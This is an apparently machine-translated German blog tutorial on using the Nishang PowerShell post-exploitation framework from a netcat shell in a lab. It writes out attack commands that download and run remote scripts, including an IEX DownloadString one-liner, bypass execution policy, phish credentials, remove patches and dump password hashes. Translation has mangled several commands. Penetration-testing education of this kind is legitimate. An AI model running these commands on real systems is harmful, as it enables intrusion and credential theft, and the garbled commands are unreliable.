Nishang: Ein Post-Exploitation-Framework

Ich habe kürzlich einen externen Penetrationstest für einen unserer Kunden durchgeführt, bei dem ich Shell-Zugriff auf Windows Server 2012 (interner WebServer hinter einem IPS) mit Administratorrechten erhielt. Es scheint auch ein Antivirenprogramm auf dem System installiert zu haben, da alles, was ich auf den Computer hochgeladen habe, im laufenden Betrieb gelöscht wurde. Ich suchte nach allen Möglichkeiten, um dieses Problem zu umgehen, und beschloss, mit PowerShell fortzufahren. In dem Moment, in dem Sie sich entscheiden, mit PowerShell für Ihre Post-Ausbeutung fortzufahren, müssen Sie sich nicht wirklich darum kümmern, Ihre eigenen Skripte zu schreiben, um das Spiel zu gewinnen, da online einige Optionen verfügbar sind. Einer von ihnen, den ich wirklich mochte, ist Nishang. Obwohl ich dieses Framework von Anfang an beobachtet habe, hatte ich noch nie die Möglichkeit, es in den realen Penetrationstests zu verwenden.

Wenn Sie jemals auf eine Situation stoßen, in der Sie Nishang in Ihren Pentests verwenden müssen, ist Ihr Leben einfach, solange Sie RDP-Zugriff auf den Remote-Computer haben. Wie gehen Sie jedoch vor, wenn RDP nicht verfügbar ist und Sie nur eine Remote-Shell haben? Dieser Artikel dient Ihnen als Einführung in die Verwendung von Nishang, wenn Sie nur eine Remote-Shell haben.

Was ist Nishang?

Nishang ist ein Open-Source-Framework mit mehreren leistungsstarken PowerShell-Skripten, die Sie während der Post-Exploitation-Phase Ihres Penetrationstests verwenden können. Es verfügt über viele Skripte, die in verschiedene Kategorien unterteilt sind, z. B. Sammeln von Informationen, Scannen, Erhöhen von Berechtigungen usw. Dieser Artikel behandelt einige dieser Skripte in keiner bestimmten Reihenfolge. Der Rest der Skripte bleibt den Lesern als Übung überlassen, da Nishang mit einigen hervorragenden Hilfemöglichkeiten gut dokumentiert ist.

Das Hauptziel dieses Artikels ist es, Nishang vorzustellen und zu demonstrieren, wie man Nishang benutzt, wenn man eine Remote-Shell auf dem Zielsystem hat.

Laboreinrichtung:

Bevor Sie mit dem Lesen des Artikels beginnen, sollten Sie einige Punkte beachten.

  1. Es gibt nur wenige Nutzlasten in Metasploit, um eine interaktive PowerShell-Konsole auf dem Computer des Opfers abzurufen. Wenn Sie sie verwenden, erhalten Sie eine Remote-PowerShell, in der Sie Ihre PowerShell-Cmdlets und -Skripte remote ausführen können.
  2. Meterpreter scheint mit PowerShell nicht gut zu funktionieren. Dies bedeutet, dass Sie möglicherweise keine interaktive PowerShell-Konsole erhalten, wenn Sie über eine Meterpreter-Shell verfügen und versuchen, PowerShell mit dem Befehl „powershell.exe“ in der Befehlsshell.
  3. Es ist immer gut, Dinge mit einer Shell mit eingeschränkten Funktionen zu lernen, damit Sie das Beste aus dem herausholen, was Sie lernen. Dies bedeutet, dass wir eine einfache interaktive Shell haben, die mit Netcat vom Remote-Computer abgerufen wird.

Installation

Die folgende Abbildung zeigt eine Shell mit Administratorrechten.

Wir werden diese Shell verwenden, um Nishang zu verwenden und einige seiner Skripte zu erkunden.

Nishang ist in Kali Linux im Verzeichnis „/usr/share/nishang/“ verfügbar. Alternativ können Sie es unter folgendem Link herunterladen.

https://github.com/samratashok/nishang

Fangen wir an.

Wenn wir eine Remote-Shell haben, gibt es nur wenige Optionen zum Ausführen von PowerShell-Skripten. Zunächst müssen Sie sich jedoch zwischen den folgenden beiden Situationen entscheiden.

  1. Sie möchten Ihre Skripte auf die Festplatte herunterladen und dann ausführen.
  2. Führen Sie Ihre Skripte aus, ohne die Festplatte zu berühren.

Ich gehe mit der ersten Option in diesem Artikel. Wenn Sie an Option 2 interessiert sind, habe ich die Methode am Ende des Artikels angegeben.

Hochladen von Dateien auf den Remotecomputer

Mit dem folgenden 3-zeiligen Skript können Sie Ihre Skripte auf den Computer des Opfers herunterladen.

$client = Neues Objekt System.Net.WebClient

$ zielort = „http://192.168.56.103/Check-VM.ps1“

$ client.DownloadFile($targetlocation,“Check-VM.ps1″)

Wir laden das Skript Check-VM.ps1 mit dem obigen Skript auf den Remote-Computer herunter. Daher müssen wir eine Datei mit dem obigen Skript als Inhalt erstellen. Geben Sie dazu einfach die folgenden Befehle nacheinander in die Shell ein, die wir erhalten haben.

echo $client = Neues Objekt System.Net.WebClient > script.ps1

echo $targetlocation = „http://192.168.56.103/Check-VM.ps1“ >> skript.ps1

echo $client.DownloadFile($targetlocation,“Check-VM.ps1″) >> script.ps1

Dies sieht wie unten gezeigt aus.

Sobald Sie Ihr Skript auf dem Zielsystem bereit haben, führen Sie es wie unten gezeigt aus, damit das Skript auf den Remotecomputer heruntergeladen wird.

Macht.exe -ExecutionPolicy Bypass -Nicht interaktiv -Datei script.ps1

Wie wir in der obigen Abbildung sehen können, wurde das Skript Check-VM.ps1 heruntergeladen und ist einsatzbereit. Ebenso können Sie jedes gewünschte Skript herunterladen.

Check-VM

Das erste Skript, das wir ausprobieren werden, ist Check-VM.ps1, das wir gerade heruntergeladen haben. Dieses Skript überprüft, ob der Zielcomputer in einer VM ausgeführt wird. Es prüft auf verschiedene Signaturen, um festzustellen, ob die Maschine in einer virtuellen Maschine ausgeführt wird. Zum Beispiel, wenn ein Prozess namens vboxtray.exe läuft, es könnte Virtual Box sein. Wenn der folgende Registrierungseintrag gefunden wird, heißt es, dass es sich um Virtual Box handelt.

Dies manuell zu tun, kann problematisch sein. Dieses Skript automatisiert den gesamten Prozess, um diese Aufgabe zu vereinfachen.

Um dieses Skript auszuführen, müssen wir zuerst das Modul importieren und dann die Funktion „Check-VM“ aufrufen. Da wir uns in einer Remote-Shell befinden und das Ausführen von PowerShell-Skripten nicht interaktiv ist, verwenden Sie den folgenden Einzeiler, um den gesamten Vorgang auf einmal auszuführen.

Macht.exe -exec bypass -Befehl „& {Import-Modul ‚C:UsersUserDesktoptempCheck-VM.ps1 ‚; Check-VM}“

Wie in der obigen Abbildung gezeigt, hat das Skript es als Virtual Box identifiziert.

Port-Scan

Das nächste Skript ist Port-Scan. Dies ist eines der nützlichsten Skripte von Nishang. Wenn Sie einmal Zugriff auf einen internen Computer erhalten, ist das Auffinden der internen IPs und das Scannen nach offenen Ports immer ein entscheidender Teil der Nachnutzung. Dieses Skript macht es sehr einfach, die Live-IPs eines bestimmten Bereichs zu finden und nach offenen Ports zu suchen.

Führen Sie das folgende Skript aus, um die Live-IPs zwischen 192.168.56.101 und 192.168.56.105 zu überprüfen. Scannen Sie danach auch nach offenen Ports.

Macht.exe -exec bypass -Befehl „& {Import-Modul ‚C:UsersUserDesktoptempPort-Scan.ps1 ‚; Port-Scan -StartAdresse 192.168.56.101 -Endadresse 192.168.56.105 -ResolveHost -SCANport }“

Hier ist die Awesomeness! Wir haben einen Domänencontroller im obigen Labornetzwerk gefunden.

Remove-Update

Wenn Sie Patches entfernen möchten, die auf dem Zielcomputer installiert sind, ist dieses Skript für Sie. Remove-Update-Skript hilft Ihnen, ein Update von der Zielmaschine zu entfernen.

Überprüfen Sie zunächst die Liste der Hotfixes, die mit dem Cmdlet „Get-Hotfix“ installiert wurden.

Versuchen wir nun, das zweite Update KB2534366 zu entfernen. Führen Sie das Remove-Update-Skript wie unten gezeigt aus.

Macht.exe -exec bypass -Befehl „& {Import-Modul ‚C:UsersUserDesktoptempRemove-Update.ps1 ‚; Entfernen-Update KB2534366}“

Wie wir in der obigen Abbildung sehen können, wurde das Update entfernt. Wir können es überprüfen, indem wir dasselbe Cmdlet erneut ausführen, wie unten gezeigt.

Erfolg! Das Update wurde entfernt.

Invoke-CredentialsPhish

Dies ist ein gutes Skript, um Phishing durchzuführen und den Benutzernamen und das Passwort des Opfers im Klartext zu erhalten. Das Beste daran ist, dass Sie den richtigen Benutzernamen und das richtige Passwort erhalten, da dieses Phishing-Fenster erst verschwindet, wenn das Opfer den richtigen Benutzernamen und das richtige Passwort eingibt.

Führen Sie das folgende Skript im Terminal aus.

Macht.exe -exec bypass -Befehl „& {Import-Modul ‚C:UsersUserDesktoptempInvoke-CredentialsPhish.ps1 ‚; Aufrufen-CredentialsPhish}“

Dies öffnet ein Fenster auf dem Computer des Opfers, wie unten gezeigt. Geben wir zuerst einen zufälligen Benutzernamen und ein zufälliges Passwort ein.

Nach einigen Sekunden wird dieses Fenster wieder angezeigt und der Benutzer muss die richtigen Anmeldeinformationen eingeben, um das Fenster zu entfernen. Diesmal geben wir die richtigen Anmeldeinformationen ein.

Mal sehen, was an unserem Terminal passiert ist. J

Wir haben den Benutzernamen und das Passwort vom Opfer eingegeben.

FireBuster

FireBuster ist eines der sehr nützlichen Skripte, um die ausgehenden Ports zu überprüfen, die über die Firewall geöffnet werden. Dieses Skript kann mit einem anderen Skript namens FireListener getestet werden, das als Listener zum Testen der Verbindung fungiert. Da dies zu Testzwecken dient, habe ich Netcat listener an Port 5555 und 5556 auf dem Computer des Angreifers gestartet, anstatt FireListener zu verwenden. Lassen Sie uns nun das folgende Skript ausführen, um festzustellen, ob diese Ports über die Firewall ausgehende Verbindungen herstellen dürfen.

Macht.exe -exec bypass -Befehl „& {Import-Modul ‚C:UsersUserDesktoptempFireBuster.ps1 ‚; Feuerbuster 192.168.56.103 5555-5556}“

Wie wir in der obigen Abbildung sehen können, stellt der Opfercomputer ausgehende Verbindungen über die angegebenen Ports her.

Überprüfen wir es noch einmal, aber diesmal habe ich die ausgehenden Verbindungen über Port 5556 in meiner Windows-Firewall auf dem Computer des Opfers blockiert.

Lassen Sie uns das Skript noch einmal ausführen und die Ergebnisse beobachten.

Nett, wir können sehen, dass der Port 5556 diesmal nicht in der Ausgabe aufgeführt ist.

Get-PassHashes

Das Dumping von Passwort-Hashes vom Computer des Opfers ist eines der häufigsten Dinge, die wir während der Post-Ausbeutung sehen. Get-PassHashes gibt die Passwort-Hashes vom Computer des Opfers zurück. Dieses Modul erfordert eine erhöhte Shell. Daher müssen wir die Benutzerkontensteuerung auf der Remote-Shell umgehen.

Führen Sie auf einer erhöhten Shell das folgende Skript aus.

Macht.exe -exec bypass -Befehl „& {Import-Modul ‚C:UsersUserDesktoptempGet-PassHashes.ps1‘; Get-PassHashes}“

Wie wir in der obigen Abbildung sehen können, haben wir alle Hashes.

Wenn Sie mehr über UAC-Bypass-Konzepte erfahren möchten, lesen Sie bitte das folgende von mir geschriebene Buch durch, in dem es ausführlich erklärt wird.

https://resources.infosecinstitute.com/download/post-exploitation-without-automated-tools/

Wenn Sie die oben genannten Module herunterladen und ausführen möchten, ohne die Festplatte zu berühren, können Sie die folgende Methode verwenden.

Macht.exe -exec Bypass -Befehl „IEX (Neues Objekt).B. WebClient).Downloadzeichenfolge(‚http://192.168.56.103/Check-VM.ps1‘); Check-IN“

The Road Ahead

Es gibt viele andere nützliche Skripte in Nishang, die während unserer Penetrationstests verwendet werden können, und ich überlasse sie den Lesern als Übung, da das Konzept hinter der Verwendung eines anderen Skripts dasselbe bleibt. Ein weiteres PowerShell-Toolkit namens PowerSploit wurde bereits in unserem Blog besprochen, das hier zu finden ist.

Um mehr über die neuesten Updates von Nishang zu erfahren, folgen Sie bitte ihrem Blog hier.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.